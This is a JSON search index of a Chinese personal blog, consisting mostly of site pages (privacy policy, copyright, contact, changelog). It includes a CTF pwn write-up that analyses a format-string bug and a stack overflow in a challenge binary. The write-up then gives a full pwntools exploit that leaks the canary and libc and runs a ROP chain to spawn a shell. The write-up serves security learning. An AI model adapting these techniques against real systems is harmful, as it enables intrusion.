[{"content":"","date":null,"permalink":"https://blog.ashyz.top/tags/buffer-overflow/","section":"Tags","summary":"","title":"Buffer Overflow"},{"content":"","date":null,"permalink":"https://blog.ashyz.top/tags/canary/","section":"Tags","summary":"","title":"Canary"},{"content":"","date":null,"permalink":"https://blog.ashyz.top/categories/","section":"Categories","summary":"","title":"Categories"},{"content":"","date":null,"permalink":"https://blog.ashyz.top/tags/ctf/","section":"Tags","summary":"","title":"CTF"},{"content":"","date":null,"permalink":"https://blog.ashyz.top/tags/format-string/","section":"Tags","summary":"","title":"Format String"},{"content":"","date":null,"permalink":"https://blog.ashyz.top/","section":"Kashyz's Blog","summary":"","title":"Kashyz's Blog"},{"content":"","date":null,"permalink":"https://blog.ashyz.top/tags/pie/","section":"Tags","summary":"","title":"PIE"},{"content":"","date":null,"permalink":"https://blog.ashyz.top/posts/","section":"Posts","summary":"","title":"Posts"},{"content":"","date":null,"permalink":"https://blog.ashyz.top/categories/pwn/","section":"Categories","summary":"","title":"Pwn"},{"content":"","date":null,"permalink":"https://blog.ashyz.top/tags/ret2libc/","section":"Tags","summary":"","title":"Ret2Libc"},{"content":"","date":null,"permalink":"https://blog.ashyz.top/tags/rop/","section":"Tags","summary":"","title":"ROP"},{"content":"","date":null,"permalink":"https://blog.ashyz.top/tags/","section":"Tags","summary":"","title":"Tags"},{"content":" 格式化字符串漏洞 + 栈溢出。其中较难的点，利用格式化字符串修改内存为一个较大的值\n查看保护 #[*] \u0026#39;/home/ash/chuhuibei/pwn\u0026#39; Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled 开启了Canary 和 PIE保护，需要我们在调试的过程中找到程序基址\n源码分析 #void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { int n4; // [rsp+Ch] [rbp-14h] BYREF const char *v4; // [rsp+10h] [rbp-10h] unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); v4 = 0LL; sub_1229(); while ( 1 ) { while ( 1 ) { sub_1270(); __isoc99_scanf(\u0026#34;%d\u0026#34;, \u0026amp;n4); if ( n4 != 4 ) break; printf_(v4); } if ( n4 \u0026gt; 4 ) break; switch ( n4 ) { case 3: v4 = sub_12E5(); break; case 1: sub_133E(); break; case 2: sub_135E(); break; default: goto LABEL_12; } } LABEL_12: puts(\u0026#34;wrong!\u0026#34;); exit(0); } 格式化字符串漏洞\nunsigned __int64 sub_135E() { char buf[56]; // [rsp+0h] [rbp-40h] BYREF unsigned __int64 v2; // [rsp+38h] [rbp-8h] v2 = __readfsqword(0x28u); puts(\u0026#34;Please write your name:\u0026#34;); read(0, buf, 0x30uLL); puts(\u0026#34;the name is:\u0026#34;); printf(buf); return __readfsqword(0x28u) ^ v2; } 栈溢出\n_BYTE *sub_12E5() { _BYTE buf[72]; // [rsp+0h] [rbp-50h] BYREF unsigned __int64 v2; // [rsp+48h] [rbp-8h] v2 = __readfsqword(0x28u); puts(\u0026#34;Please write your content\u0026#34;); read(0, buf, nbytes); // 此时nbytes的值为0x20，利用fmt将值改为0x100即可有栈溢出漏洞 return buf; } .data:0000000000004010 ; size_t nbytes .data:0000000000004010 nbytes dq 20h ; DATA XREF: sub_12E5+27↑r .data:0000000000004010 _data ends .data:0000000000004010 分析调试 #泄露canary , 程序基址 , Libc\n修改nbytes的值\n我们想将nbytes处的值从0x20修改为0x100，我们只需要修改最后两个字节，即，只需要使用%256c%N$hn即可，所以我们需要确定此时N的值。\n通过下面的测试可以得出：N = 8\n可以看到\n在调试的过程中也可以看到\n可以看到\n修改之前\n修改之后\nExp #from pwn import * context(log_level = \u0026#34;debug\u0026#34;, arch = \u0026#34;amd64\u0026#34;) # io = gdb.debug(\u0026#34;./pwn\u0026#34;) io = process(\u0026#34;./pwn\u0026#34;) elf = ELF(\u0026#34;./pwn\u0026#34;) libc = ELF(\u0026#34;/usr/lib/x86_64-linux-gnu/libc.so.6\u0026#34;) io.recvuntil(b\u0026#34;\u0026gt;\u0026gt; \u0026#34;) io.sendline(b\u0026#34;1\u0026#34;) io.recvuntil(b\u0026#34;\u0026gt;\u0026gt; \u0026#34;) io.sendline(b\u0026#34;2\u0026#34;) io.recvuntil(b\u0026#34;Please write your name:\\n\u0026#34;) payload = b\u0026#34;%13$p-%15$p-%21$p-\u0026#34; io.send(payload) io.recvuntil(b\u0026#34;the name is:\\n\u0026#34;) line = io.recvuntil(b\u0026#34;1. add a house\\n\u0026#34;).strip() print(line) a1, a2, a3, a4= line.split(b\u0026#34;-\u0026#34;) canary = int(a1, 16) base_addr = int(a2, 16) - 0x147c libc_base = int(a3, 16) - 0x29d90 log.info(f\u0026#34;canary = {hex(canary)}\u0026#34;) log.info(f\u0026#34;base_addr = {hex(base_addr)}\u0026#34;) log.info(f\u0026#34;libc_base = {hex(libc_base)}\u0026#34;) pop_rdi = 0x0000000000001503 + base_addr pop_rsi_r15 = 0x0000000000001501 + base_addr pop_rbp = 0x0000000000001213 + base_addr ret_addr = 0x000000000000101a + base_addr system_addr = libc_base + libc.sym[\u0026#34;system\u0026#34;] binsh_addr = libc_base + next(libc.search(b\u0026#34;/bin/sh\u0026#34;)) log.info(f\u0026#34;System address: {hex(system_addr)}\u0026#34;) log.info(f\u0026#34;/bin/sh address: {hex(binsh_addr)}\u0026#34;) nbytes_addr = base_addr + 0x4010 io.sendline(str(2).encode()) payload = b\u0026#34;%256c%8$hnaaaaaa\u0026#34; + p64(nbytes_addr) io.recvuntil(b\u0026#34;Please write your name:\\n\u0026#34;) io.send(payload) #io.recv() payload = b\u0026#34;\\x00\u0026#34; * (72) + p64(canary) + b\u0026#34;\\x00\u0026#34; * 8 + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) #pause() io.recvuntil(b\u0026#34;\u0026gt;\u0026gt; \u0026#34;) #pause() io.sendline(str(3).encode()) io.recvuntil(b\u0026#34;Please write your content\\n\u0026#34;) # pause() io.send(payload) io.interactive() 参考阅读：\n【1】格式化字符串详解 https://xz.aliyun.com/news/12158\n【2】格式化字符串学习 https://blog.csdn.net/rfrder/article/details/122545097\n【3】格式化字符串漏洞利用 https://blog.wjhwjhn.com/posts/af55bf3/#printf-%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%8F%82%E6%95%B0%E7%94%A8%E6%B3%95\n题目链接：https://github.com/Kashyz/pwn#\n","date":"三月 13, 2026","permalink":"https://blog.ashyz.top/posts/chuhuibei2026/","section":"Posts","summary":"","title":"楚慧杯 2026 | Pwn"},{"content":"这是我的一篇测试文章。\n如果你现在能在线上看到这篇文章，说明下面这条链路已经打通了：\n我修改了博客源码 我把变更提交到 GitHub 私有仓库 GitHub Actions 自动触发部署 服务器执行 Hugo 构建 Nginx 提供新的静态页面 这篇文章有什么用 #这篇文章主要用于验证两件事：\nHugo 是否能正常解析 Markdown GitHub Actions 是否能在 push 后自动部署 当前环境 #我当前的博客使用的是：\nHugo 静态站点生成器 GitHub 私有仓库存放源码 GitHub Actions 自动部署 VPS + Nginx 提供访问 下一步 #等这篇文章发布成功后，我会继续尝试：\n在本地编辑文章后推送 删除文章并验证自动同步删除 优化博客内容与样式 感谢阅读，这是一篇自动部署测试文章。\n","date":"三月 12, 2026","permalink":"https://blog.ashyz.top/posts/hello/","section":"Posts","summary":"","title":"Hello, Hugo"},{"content":"","date":null,"permalink":"https://blog.ashyz.top/tags/hugo/","section":"Tags","summary":"","title":"Hugo"},{"content":"","date":null,"permalink":"https://blog.ashyz.top/tags/%E6%B5%8B%E8%AF%95/","section":"Tags","summary":"","title":"测试"},{"content":"","date":null,"permalink":"https://blog.ashyz.top/categories/%E6%9D%82%E9%A1%B9/","section":"Categories","summary":"","title":"杂项"},{"content":"除非另有说明，本站（Kashyz\u0026rsquo;s Blog）发布的原创内容均采用\n知识共享署名 - 非商业性使用 - 相同方式共享 4.0 国际许可协议（CC BY-NC-SA 4.0）进行许可。\n这意味着：在遵守协议条款的前提下，你可以转载、分享、引用和改编本站内容。\n1. 你可以做什么 #在符合本声明与协议条款的前提下，你可以：\n共享（Share）：以任何媒介或形式复制、转载、传播本站内容 演绎（Adapt）：对内容进行修改、整理、二次创作或再发布 只要你遵守下文所列条件，我不会撤销这些授权。\n2. 你需要遵守的条款 #2.1 署名（BY） #你在转载或使用本站内容时，应当提供清晰、合理的署名信息，包括：\n作者名称（或本站名称） 原文链接 版权声明或许可说明 本协议链接（CC BY-NC-SA 4.0） 如你对内容做了修改，应明确说明修改情况 署名方式不得暗示本站或作者对你的使用行为表示认可。\n2.2 非商业性使用（NC） #你不得将本站内容用于商业目的。\n商业目的通常包括但不限于：以直接或间接获利为目的的使用、销售、付费阅读、商业推广等。\n如需商业使用，请先通过本站 联系页面 与我联系并获得授权。\n2.3 相同方式共享（SA） #如果你对本站内容进行了修改、整理或再创作，你发布的新作品也应当继续使用 CC BY-NC-SA 4.0 协议进行许可。\n2.4 不得附加限制 #你不得通过法律条款、技术手段或平台规则，额外限制他人行使本协议已经授予的权利。\n3. 适用范围与例外说明 #3.1 本声明适用范围 #本声明默认适用于本站的原创内容，包括但不限于：\n文章正文 笔记内容 原创图文说明 页面文案（如无特别说明） 3.2 第三方内容 #若本站内容中引用了第三方资料（包括图片、代码、数据、引文等），其版权归原作者或原权利人所有。\n这部分内容不当然适用本站的 CC 协议，具体请以原始来源的授权说明为准。\n3.3 评论内容 #评论区内容的著作权一般归评论发布者本人所有。\n评论一经发布，即视为评论者同意本站在站内展示、存档与必要的技术处理（如排版、缓存、备份）。\n4. 转载与引用建议 #为避免歧义，建议在转载时使用类似说明：\n本文转载自 Kashyz\u0026rsquo;s Blog，原文链接：\u0026lt;原文地址\u0026gt;\n本文采用 CC BY-NC-SA 4.0 协议授权。\n如果是节选引用，也建议保留原文链接与作者署名。\n5. 免责声明 #本站内容按“现状”提供，作者不对内容的完整性、时效性或特定用途适用性作明示或默示保证。\n你基于本站内容进行的任何使用、修改或传播行为，相关责任由使用者自行承担。\n此外，某些内容的使用可能同时受到著作权以外的权利限制（例如隐私权、名誉权、商标权等）；这些权利不因本声明而当然授予。\n6. 声明更新 #本站可能根据内容形式、授权策略或法律要求更新本页面。\n如有调整，将在本页更新并同步修改页面顶部的更新时间。\n感谢你的尊重与理解。\n本站希望内容能够被规范地分享和引用，也希望原创表达在传播中得到应有的署名与边界。\n","date":"二月 22, 2026","permalink":"https://blog.ashyz.top/copyright-statement/","section":"Kashyz's Blog","summary":"","title":"版权声明"},{"content":"理性交流，友好沟通。\n如果你想聊文章、项目、技术问题，或者只是想打个招呼，都欢迎来信。\n邮箱 #你可以通过以下邮箱联系我：\nkashyzw@gmail.com 回复说明 #邮件通常会在 1–3 天内 回复。\n如果是技术问题或较长内容，可能会稍慢一些，但我都会看。\n安全通信 #目前联系邮箱主要用于日常沟通，暂未提供公开的 S/MIME 证书或 PGP 公钥。\n如果后续启用加密通信方式，我会在本页面更新说明。\n其他平台 # GitHub：@Kashyz Telegram：@KashyzBlog X：@KenWangX 感谢你的来信。\n我会认真阅读，也欢迎一切真诚、清楚的交流。\n","date":"二月 22, 2026","permalink":"https://blog.ashyz.top/contact/","section":"Kashyz's Blog","summary":"","title":"联系我"},{"content":"本站（下称“本站”或“我们”）是由我个人维护的独立博客，用于发布文章、笔记与项目记录。\n我们重视访问者隐私，并遵循最小化数据处理原则：仅处理维持站点运行、评论互动与安全防护所必需的数据。\n本政策说明当你访问本站时，我们可能会处理哪些信息、这些信息的用途、保存方式，以及你可以如何联系我处理相关请求。\n最后更新日期：2026 年 2 月 22 日（北京时间）\n1. 我们处理的信息 #1.1 访问日志与运行日志（服务器 / Nginx） #为保障站点可用性与安全性，服务器及反向代理会记录基础访问日志。常见内容包括：\n访问时间 请求路径与请求方法 响应状态码 浏览器与系统信息（User-Agent） 来源页面（Referer，若浏览器提供） IP 地址 这些日志用于：\n故障排查与服务维护 性能与稳定性分析 异常请求识别与安全防护 必要的运维审计 上述日志仅用于站点运行与安全目的，不用于广告投放或用户画像。\n1.2 评论系统（Twikoo，自托管） #本站使用 Twikoo 作为评论系统，评论服务由我们自托管运行。\n评论功能完全基于你的自愿使用；当你发表评论时，系统会处理与评论相关的数据。\n1.2.1 你主动提交的信息 # 昵称（用于展示） 邮箱（可选，用于通知或头像识别等功能） 个人网站（可选） 评论内容 1.2.2 评论功能运行所需的信息 # 评论时间 浏览器信息（User-Agent） IP 地址 评论通知、反垃圾与展示所需的必要字段 1.2.3 处理目的 #这些信息主要用于：\n展示评论内容与评论者信息 提供评论通知能力（如启用） 防止垃圾评论、滥用与恶意请求 排查评论系统相关故障 评论内容属于公开内容，会随文章一起展示与保存。若你希望删除自己的评论，可通过联系页面向我提出请求。\n1.3 统计与分析 #当前本站未启用以用户画像为目的的统计分析服务。\n如果后续启用访问统计（例如用于查看访问量、来源页面、热门文章等），我们会优先选择隐私友好的方案，并在本页面更新相关说明。\n2. 第三方基础设施服务 #2.1 Cloudflare（DNS / CDN / 安全防护） #本站在域名解析、HTTPS 证书、网络加速或安全防护方面可能使用 Cloudflare 提供的基础设施服务。\n在访问请求经过其网络时，Cloudflare 可能会处理基础网络数据，包括但不限于：\nIP 地址 浏览器信息（User-Agent） 请求路径与时间 安全事件相关日志 这些处理主要用于：\n域名解析与网络可用性 HTTPS 与传输安全 CDN 加速与缓存优化 DDoS / WAF 等安全防护 Cloudflare 作为独立服务提供方，会按照其自身政策处理相关数据；其网络节点可能涉及跨区域传输。\n2.2 自托管服务器 #本站的文章内容、站点配置与评论数据由我们在自托管服务器环境中保存和维护。\n我们不会出售访问者数据，也不会将数据用于与本站运行无关的商业用途。\n在运维层面，我们会尽量采取合理措施保障安全，包括但不限于：\n使用 HTTPS 保持系统与服务组件更新 进行必要的访问控制与安全配置 但任何互联网服务都无法承诺绝对安全；如发生不可预期的安全事件，我们会在能力范围内尽快处理与修复。\n3. Cookies 与本地存储 #本站不使用以追踪访问者为目的的 Cookie。\n在使用评论系统或界面功能时，浏览器可能会产生必要的本地存储或会话数据，用于保存页面状态、评论信息或界面偏好。这些数据仅用于本站功能实现，不用于跨站追踪。\n4. 数据保存期限 #我们遵循“满足用途所需”的原则保存数据，不做无必要的长期保留。\n4.1 访问日志 #访问日志通常用于安全防护与故障排查，保存周期一般为 7–30 天（可能根据服务器策略调整）。\n4.2 评论数据 #评论内容通常会长期保存，作为文章讨论内容的一部分。\n如你提出删除请求，我们会在合理时间内处理。\n与安全防护相关的日志或记录，可能按系统策略保留一段时间后清理。\n5. 数据共享与披露 #除以下情形外，我们不会主动向第三方共享或披露你的数据：\n为维持站点运行所必需的基础设施服务（如 Cloudflare） 为处理安全事件、滥用行为或故障排查所必需 法律法规要求或有权机关依法要求 我们不会将数据出售给第三方，也不会将数据用于广告定向用途。\n6. 你的权利与请求 #在合理且可验证的范围内，你可以通过联系页面向我提出以下请求：\n查询你在评论中提交的信息 修改评论中的昵称、链接等内容 删除你发布的评论 反馈隐私相关问题或疑问 对于无法识别到具体个人的匿名访问日志、聚合数据或已脱敏数据，通常无法进行定向定位或删除。\n7. 儿童隐私 #本站主要面向一般读者，不以未成年人为主要受众。\n如果你认为本站内容或评论区存在涉及未成年人隐私的信息，请通过联系页面告知，我会尽快处理。\n8. 政策更新 #本站的部署方式、评论系统、安全策略或基础服务可能会随时间调整。\n如这些变化影响到数据处理方式，我们会更新本页面内容，并同步更新页面顶部的“最后更新日期”。\n9. 联系我们 #如需处理评论删除、信息修改或隐私相关问题，请通过本站的 联系页面 与我联系。\n感谢你的访问与信任。本站将持续遵循简洁、透明、克制的原则，在满足站点运行与安全需要的前提下，尽量减少不必要的数据收集与处理。\n","date":"二月 22, 2026","permalink":"https://blog.ashyz.top/privacy-policy/","section":"Kashyz's Blog","summary":"","title":"隐私政策"},{"content":"自 2026 年开始记录本站变更日志。\n仅记录会影响使用体验、页面结构或功能的更新。\n2026 # 2026-02-22 · 构建并上线 Changelog 页面，用于统一记录站点更新历史。 2026-02-21 · 接入 Twikoo 评论系统，支持文章评论与互动。 2026-02-18 · 调整 RSS 可视化样式（极简风），优化阅读体验。 2026-02-17 · 采用 Hugo + Congo 主题 作为当前博客方案。 2026-02-16 · 购买服务器并完成基础环境初始化，开始站点部署。 以后有明显变动（如主题切换、评论系统更换、功能上线、样式重构等）会继续补充在这里。\n","date":"二月 22, 2026","permalink":"https://blog.ashyz.top/changelog/","section":"Kashyz's Blog","summary":"","title":"站点更新"},{"content":"你好，我是 Kashyz。\n这里主要记录我在 Pwn / CTF 学习路上的笔记、题解复盘和工具链整理。 写博客的目标很简单：把每一次卡住和突破都留下来，方便以后回看，也希望能帮到同样在路上的你。\n如果你想交流，可以通过页面底部/作者链接找到我。\n","date":"二月 17, 2026","permalink":"https://blog.ashyz.top/about/","section":"Kashyz's Blog","summary":"","title":"关于"},{"content":" 最近在：Pwn 学习、CTF 复盘、写笔记 目标：保持输出，做更扎实的总结 状态：持续迭代站点体验 这个页面用于记录“当下”，不是简历。\n","date":"一月 1, 0001","permalink":"https://blog.ashyz.top/now/","section":"Kashyz's Blog","summary":"","title":"Now"},{"content":"这里放你做过的东西（项目/小工具/文章系列等）的汇总入口。\n","date":null,"permalink":"https://blog.ashyz.top/warehouse/","section":"仓库","summary":"","title":"仓库"}]